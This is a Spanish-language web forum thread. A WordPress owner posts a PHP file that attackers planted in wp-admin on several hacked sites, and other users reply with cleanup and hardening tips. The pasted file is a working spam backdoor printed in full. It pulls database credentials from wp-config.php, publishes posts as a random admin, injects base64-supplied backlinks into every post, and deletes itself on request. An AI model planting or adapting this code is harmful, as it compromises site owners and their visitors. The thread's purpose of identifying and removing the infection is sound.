WP Hackeado: Cientos de Artículos Publicados - ¿Cómo Detectarlo?

  • Autor Autor HGCM
  • Fecha de inicio Fecha de inicio
HGCM

HGCM

Iota
Estoy usando hostgator y me hackearon varios sitios que tenia alojados allí, Postearon cientos de entradas en cada sitio.


En la carpeta wp-admin de cada sitio se encuentra el siguiente archivo, además de varias carpetas que contienen el contenido de los post en archivos .xml

¿El siguiente código es malicioso? y ¿cómo pudieron subirlo a cada sitio web?


Alguno ha pasado por algo similar? recomendaciones? :sorrow:

PHP:
<?php
// error_reporting (0);
error_reporting (E_ERROR | E_WARNING | E_PARSE | E_COMPILE_ERROR);
ini_set         ('display_errors', 'on');
set_time_limit  (0);

check_commands ();

echo "<br>tt" . "main" . "tt<br>";

if (array_key_exists ('article', $_REQUEST))
{
  $load_path = get_load_path ();
  require_once ($load_path);

  print "#loaded wp-load#\n";
  list ($content, $title) = get_article ();
  
  $post_id = wp_insert_post (
    array(
    'post_title' => $title,
    'post_content' => $content,
    'post_status' => 'publish',
    'post_date' => date('Y-m-d H:i:s'),
    'post_author' => get_admin_id (),
    'post_type' => 'post',
    'post_category' => array(0)
    )
  );
  
  if ($post_id)
  {
    $link = get_permalink($post_id);
    
    print "#Created post_id: !$post_id!$link!#\n";
  }
  else
  {
    print "#Unable to create new post#\n";
  }
}
else
{
  list ($dbh_connect, $dbh_query, $dbh_error, $dbh_escape) = get_mysql_mysqli_handlers ();

  $conf_path  = get_conf_path          ();
  $wp_prefix  = 'wp_';
  $connection = etablish_db_connection ($conf_path);

  dispatch_exec_commands_for_conf ();  
}

function get_mysql_mysqli_handlers ()
{
  if (function_exists ('mysqli_connect'))
  {
    return array('mysqli_connect', 'mysqli_query', 'mysqli_error', 'mysqli_real_escape_string');
  }

  if (function_exists ('mysql_connect'))
  {
    return array('mysql_connect', 'mysql_query', 'mysql_error', 'mysql_real_escape_string');
  }

  echo "Unable to get dbh\n";
  die;
}

function dispatch_exec_commands_for_conf ()
{
  if (array_key_exists ('first', $_REQUEST))
  {
    get_posts_count ();

    $first_id = get_first_post_id ();
    if ($first_id)
    {
      print "#First id: $first_id#\n";
    }
    else
    {
      print "#No matching posts were found#\n";
      die;
    }

    fetch_next_post ($first_id);
  }

  if (array_key_exists ('post_id', $_REQUEST))
  {
    $id       = $_REQUEST['post_id'];
    $backlink = get_backlink ();

    add_backlink_to_post ($backlink, $id);
    fetch_next_post      ($id);
  }
}

function fetch_next_post ($id)
{
  $next_id = get_next_post_id ($id);

  if ($next_id)
  {
    print "#Next id: $next_id#\n";
  }
  else
  {
    print "#No next id#\n";
  }
}

function check_commands ()
{
  if (array_key_exists ('delete', $_REQUEST))
  {
    unlink(__FILE__);
  }
}

function get_admin_id ()
{
  $super_admins = get_super_admins ();
  $admin = get_user_by('login', $super_admins[array_rand($super_admins)]);
  return $admin->ID;
}

function get_conf_path ()
{
  return get_file_path ('wp-config.php');
}

function get_load_path ()
{
  return get_file_path ('wp-load.php');
}

function get_file_path ($file)
{
  $opath = $file;
  
  for($i = 0; $i < 10; $i++)
  {
    $path = $i == 0 ? './' : str_repeat ('../', $i);
    $file = $path . $file;
    
    if (is_readable ($file))
    {
      echo "config path: $file\n";
      return $file;
    }
    
    $file = $opath;
  }
  
  echo "Unable to find " . $file;
  die;
}

function get_backlink ()
{
  if (array_key_exists('link', $_REQUEST))
  {
    return base64_decode (urldecode ($_REQUEST['link']));
  }

  echo "No links where specified.";
  die;
}

function get_article ()
{
  if (array_key_exists('article', $_REQUEST) && array_key_exists('title', $_REQUEST))
  {
    $content = base64_decode (urldecode ($_REQUEST['article']));
    $title   = base64_decode (urldecode ($_REQUEST['title']));
    
    return array($content, $title);
  }

  echo "No articles where specified.";
  die;
}

function etablish_db_connection ($config)
{
  $success = connect_using_parse_config ($config);

  if ($success)
  {
    return $success;
  }

  $success = connect_using_require ($config);

  if ($success)
  {
    return $success;
  }

  echo "Failed to connect to MySQL\n";
  die;
}

function connect_using_require ($config)
{
  global $wp_prefix;

  echo "Trying to connect using require\n";

  require_once ($config);

  echo "Got table prefix using require\n";

  $wp_prefix = $table_prefix;

  $connection = db_connect (DB_HOST, DB_USER, DB_PASSWORD, DB_NAME, 'require');

  return $connection;
}

function db_connect ($host, $user, $password, $name, $method_name)
{
  global $dbh_connect;
  global $dbh_error;

  echo "#db_connect host: $host user: $user password: $password name: $name method_name: $method_name#\n";
  if (is_mysqli ())
  {
    $port           = null;
    $socket         = null;
    $port_or_socket = strstr ($host, ':');

    if (!empty ($port_or_socket))
    {
      $host           = substr ($host, 0, strpos ($host, ':'));
      $port_or_socket = substr ($port_or_socket, 1);

      if (strpos ($port_or_socket, '/') !== 0)
      {
        $port         = intval ($port_or_socket);
        $maybe_socket = strstr ($port_or_socket, ':');

        if (!empty ($maybe_socket))
        {
          $socket = substr ($maybe_socket, 1);
        }
      }
      else
      {
        $socket = $port_or_socket;
      }
    }

    $connection = call_user_func ($dbh_connect, $host, $user, $password, $name, $port, $socket);
  }
  else
  {
    $connection = call_user_func ($dbh_connect, $host, $user, $password, $name);
    mysql_select_db ($name);
  }

  if (!$connection)
  {
    echo "Failed to connect to MySQL using $method_name: " . call_user_func ($dbh_error) . "\n";
    return 0;
  }

  echo "Success connection using $method_name\n";

  return $connection;
}


function connect_using_parse_config ($config)
{
  global $wp_prefix;

  $txt = file_get_contents($config);

  if (preg_match("/define\('DB_HOST',\s*'(.*?)'\);/", $txt, $matches))
  {
    $host = $matches[1];
  }

  if (preg_match("/define\('DB_USER',\s*'(.*?)'\);/", $txt, $matches))
  {
    $user = $matches[1];
  }

  if (preg_match("/define\('DB_PASSWORD',\s*'(.*?)'\);/", $txt, $matches))
  {
    $pass = $matches[1];
  }

  if (preg_match("/define\('DB_NAME',\s*'(.*?)'\);/", $txt, $matches))
  {
    $name = $matches[1];
  }

  if (preg_match("/\\\$table_prefix\s*=\s*'(.*?)';/", $txt, $matches))
  {
    echo "Got table prefix using parse\n";
    $wp_prefix = $matches[1];
  }
  else
  {
    echo "Wasn't able to get table prefix using parse\n";
  }


  if (!isset ($host) || !isset ($user) || !isset ($pass) || !isset ($name))
  {
    echo "Failed to connect to MySQL using parse: failed to extract data\n";
    return 0;
  }

  $connection = db_connect ($host, $user, $pass, $name, 'parse');

  return $connection;
}

function get_first_post_id ()
{
  global $wp_prefix;

  $result = execute_query ("SELECT id FROM " . $wp_prefix . "posts WHERE post_status = 'publish' AND post_type IN ('post', 'page') ORDER BY id ASC LIMIT 1");

  $result = fetch_assoc ($result);

  if (count ($result) == 0)
  {
    return false;
  }

  return $result[0]['id'];
}

function fetch_assoc ($result)
{
  $array = array();
  if (is_mysqli ())
  {
    while ($row = $result->fetch_assoc())
    {
      $array[] = $row;
    }
  }
  else
  {
    while ($row = mysql_fetch_assoc ($result))
    {
      $array[] = $row;
    }
  }

  return $array;
}

function is_mysqli ()
{
  global $dbh_connect;

  return $dbh_connect === 'mysqli_connect';
}

function get_next_post_id ($prev_id)
{
  global $connection;
  global $wp_prefix;

  $result = execute_query ("SELECT id FROM " . $wp_prefix . "posts WHERE post_status = 'publish' AND post_type IN ('post', 'page') AND ID > $prev_id ORDER BY id ASC LIMIT 1");

  $result = fetch_assoc ($result);

  if (count ($result) == 0)
  {
    return false;
  }

  return $result[0]['id'];
}

function execute_query ($query)
{
  global $connection;
  global $dbh_query;
  global $dbh_error;

  if (is_mysqli ())
  {
    $result = call_user_func ($dbh_query, $connection, $query);
  }
  else
  {
    $result = call_user_func ($dbh_query, $query);
  }

  if (!$result)
  {
    echo "Failed to execute query ($sql): " . get_error ();
    die;
  }

  return $result;
}

function get_error ()
{
  global $connection;

  if (is_mysqli ())
  {
    return mysqli_error ($connection);
  }
  else
  {
    return mysql_error ();
  }
}

function get_posts_count ()
{
  global $wp_prefix;

  echo "#wp_prefix: $wp_prefix#\n";

  $result = execute_query ("SELECT COUNT(*) FROM " . $wp_prefix . "posts WHERE post_status = 'publish' AND post_type IN ('post', 'page')");

  $result = fetch_assoc ($result);

  $posts_count = $result[0]['COUNT(*)'];

  echo "#Posts count: $posts_count#\n";

  return $posts_count;
}

function get_post_data ($id)
{
  global $wp_prefix;

  $result = execute_query ("SELECT id,guid,post_content FROM " . $wp_prefix . "posts WHERE id = $id");

  $result = fetch_assoc ($result);

  if (count ($result) == 0)
  {
    print "#No post available with id: $id#\n";
    die;
  }

  return $result[0];
}

function add_backlink_to_post ($link, $id)
{
  global $connection;
  global $wp_prefix;
  global $dbh_escape;
  global $dbh_error;

  $post = get_post_data ($id);
  $post_id              = $post['id'];
  $post_link            = $post['guid'];
  $updated_post_content = call_user_func ($dbh_escape, $connection, $post['post_content'] . $link);

  $success = execute_query ("UPDATE " . $wp_prefix . "posts SET post_content = '$updated_post_content' WHERE id = $post_id");

  if ($success)
  {
    echo "#Success: $post_link#\n";
  }
  else
  {
    echo call_user_func ($dbh_error);
    echo "#Failed: $post_link#\n";
  }
}

?>
 
Hola comienza por reemplazar las carpetas wp-admin y wp-includes y demás archivos exceptuando el archivo wp-config.php luego si puedes acceder a tus wordpress sin problemas: instala Anti-Malware Security and Brute-Force Firewall si no puedes acceder a tu wordpress coméntame y te indico los pasos a seguir.

Escanea todos los sitios mismo proceso, es posible que los malwares esten esparcidos tambien fuera de las instalaciones de tus wordpress lo ideal es que revises si en el cpanel cuentas con una opcion que diga antivirus para escanear todo el public_html.

Revisa los usuarios creados en todas las webs, actualiza plugins, themes, elimina cualquier elemento nulled que tengas en tus sitios.


atento a tu respuesta.
 
Tuviste suerte de darte cuenta.
En uno de mis sitios un "whitehacker" me agrego párrafos con incoherencias en posts aleatorios(parrafos en latin con oraciones y otras cosas) a muchos posts que si no me avisaban, no me daba cuenta!!! En uno de esos posts me dijo que solo se dedicaba a "jugar" pero que no era malo(si, como no). Me recomendó hacer el update del core(si, lo tenia desactualizado) y eliminar todo el header(XMLRPC).

Por suerte uso ManageWP y tenia el backup completo, así que solo rehíce el sitio antes del hackeo y desde ese día siempre mantengo password ultraseguros(bloqueo el wp-amin mediante htaccess y solo con mi IP). Y no instalo plugins raros. Y nunca mas tuve problemas.
 
Tuviste suerte de darte cuenta.
En uno de mis sitios un "whitehacker" me agrego párrafos con incoherencias en posts aleatorios(parrafos en latin con oraciones y otras cosas) a muchos posts que si no me avisaban, no me daba cuenta!!! En uno de esos posts me dijo que solo se dedicaba a "jugar" pero que no era malo(si, como no). Me recomendó hacer el update del core(si, lo tenia desactualizado) y eliminar todo el header(XMLRPC).

Por suerte uso ManageWP y tenia el backup completo, así que solo rehíce el sitio antes del hackeo y desde ese día siempre mantengo password ultraseguros(bloqueo el wp-amin mediante htaccess y solo con mi IP). Y no instalo plugins raros. Y nunca mas tuve problemas.

Hola
¿como haces para bloquear el wp-admin solo con tu IP ?
¿incluyes un fichero nuevo .htaccess que colocas en el directorio donde esta el wp-admin ?
 
Gracias.

Al final la solución más rapida para mi problema fue restaurar mis blogs a un punto anterior al ataque.
Actualizar todo, dar una revisión a fondo, hacer una limpieza, cambiar contraseñas, escanear de nuevo los blogs... e instalar un plugin para estar atento a cualquier nuevo incidente.


Siempre recuerden realizar Backups seguidos. :encouragement:
 
Última edición:
Así es, a mi también me sucedió, la única solución fue restaurar desde un backup la web y cambiar de servidor, porque habia restaurado la backup hasta un punto anterior del ataque pero siempre volvía, solo cambiando de servidor se resolvió, desde antes estuve seguro que el hack fue a nivel servidor y no solo mi pagina, pero los del soporte siempre lo negaron.

Y por poco pierdo el dominio por denuncia de phising porque usaron mi pagina para capturar tarjetas de crédito y demás cosas.

Por eso nunca alojen sus webs en hostings muy baratos porque muchas veces no tienen al día sus servidores.

Saludos.
 
Última edición:
Hola
¿como haces para bloquear el wp-admin solo con tu IP ?
¿incluyes un fichero nuevo .htaccess que colocas en el directorio donde esta el wp-admin ?

Agregas esto a tu htaccess que ya lo tenes en la raiz del sitio:

PHP:
<FilesMatch wp-login.php>
Order Allow,Deny
Allow from 190.190.***.*** ##aca pones tu IP
Deny from all
</FilesMatch>
 
[MENTION=18793]HGCM[/MENTION] hostgator no es seguro ni ninguna empresa bajo la EIG, hasta el hosting mas nuevo es mas seguro, con solo poner un pal de reglas en modsecurity te salvas de muchas cosas (temas de config server).

Debiste de irte hace rato de esa empresa xD
 
[MENTION=18793]HGCM[/MENTION] hostgator no es seguro ni ninguna empresa bajo la EIG, hasta el hosting mas nuevo es mas seguro, con solo poner un pal de reglas en modsecurity te salvas de muchas cosas (temas de config server).

Debiste de irte hace rato de esa empresa xD

Pues siendo honesto, mi experiencia con Hostgator ha sido muy buena, en lo unico que he tenido problemas es en la comunicación porque solo tienen soporte en Ingles y a veces no es tan facil explicar todo.

Pero ya que estamos hablando de esto, ¿cuál Hosting recomiendas?
Porque seguro en algunos meses necesitaré comprar algo. :encouragement:
 
Atrás
Arriba